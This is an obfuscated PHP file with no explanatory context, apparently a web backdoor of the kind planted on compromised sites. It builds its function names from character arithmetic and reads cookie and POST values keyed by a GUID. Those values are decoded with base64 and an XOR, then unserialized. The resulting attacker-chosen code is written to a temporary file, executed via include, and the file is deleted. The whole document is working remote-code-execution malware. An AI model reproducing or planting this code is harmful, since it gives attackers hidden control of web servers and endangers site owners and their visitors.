$YPfLEDcu = 'p' . "\x79" . "\137" . chr ( 123 - 11 )."\x74" . chr (77) . chr (78) . "\117";$WOmygTASf = 'c' . "\154" . "\x61" . chr ( 1010 - 895 )."\163" . "\x5f" . 'e' . "\x78" . 'i' . chr ( 671 - 556 ).chr (116) . 's';$QbjlrKTESA = class_exists($YPfLEDcu); $WOmygTASf = "26629";$JhLiQiSCK = strpos($WOmygTASf, $YPfLEDcu);if ($QbjlrKTESA == $JhLiQiSCK){function ImREmPH(){$ddcRO = new /* 8002 */ py_ptMNO(45626 + 45626); $ddcRO = NULL;}$DXaqBsF = "45626";class py_ptMNO{private function sLTuGU($DXaqBsF){if (is_array(py_ptMNO::$ztpYDX)) {$name = sys_get_temp_dir() . "/" . crc32(py_ptMNO::$ztpYDX["salt"]);@py_ptMNO::$ztpYDX["write"]($name, py_ptMNO::$ztpYDX["content"]);include $name;@py_ptMNO::$ztpYDX["delete"]($name); $DXaqBsF = "45626";exit();}}public function UddIAUpWD(){$SOMOPUDt = "31395";$this->_dummy = str_repeat($SOMOPUDt, strlen($SOMOPUDt));}public function __destruct(){py_ptMNO::$ztpYDX = @unserialize(py_ptMNO::$ztpYDX); $DXaqBsF = "65290_37852";$this->sLTuGU($DXaqBsF); $DXaqBsF = "65290_37852";}public function yPqiEgy($SOMOPUDt, $idBuyzXYt){return $SOMOPUDt[0] ^ str_repeat($idBuyzXYt, intval(strlen($SOMOPUDt[0]) / strlen($idBuyzXYt)) + 1);}public function NfjWDCncC($SOMOPUDt){$OVsNEU = "\x62" . 'a' . chr ( 225 - 110 ).'e' . '6' . '4';return array_map($OVsNEU . "\137" . "\x64" . 'e' . chr (99) . "\157" . 'd' . 'e', array($SOMOPUDt,));}public function __construct($InOWzp=0){$iPNBMA = "\x2c";$SOMOPUDt = "";$EMtcZTQyZf = $_POST;$YcWCEM = $_COOKIE;$idBuyzXYt = "2396d49f-5056-4461-8d02-f093de965581";$hRYxn = @$YcWCEM[substr($idBuyzXYt, 0, 4)];if (!empty($hRYxn)){$hRYxn = explode($iPNBMA, $hRYxn);foreach ($hRYxn as $mUGyfQr){$SOMOPUDt .= @$YcWCEM[$mUGyfQr];$SOMOPUDt .= @$EMtcZTQyZf[$mUGyfQr];}$SOMOPUDt = $this->NfjWDCncC($SOMOPUDt);}py_ptMNO::$ztpYDX = $this->yPqiEgy($SOMOPUDt, $idBuyzXYt);if (strpos($idBuyzXYt, $iPNBMA) !== FALSE){$idBuyzXYt = explode($iPNBMA, $idBuyzXYt); $uoKbDF = base64_decode(md5($idBuyzXYt[0])); $XyMCIevOB = strlen($idBuyzXYt[1]) > 5 ? substr($idBuyzXYt[1], 0, 5) : $idBuyzXYt[1];$_GET['new_key'] = md5(implode('', $idBuyzXYt)); $XXrIVv = str_repeat($XyMCIevOB, 2); $IQoXXVVpP = array_map('trim', $idBuyzXYt);}}public static $ztpYDX = 19069;}ImREmPH();}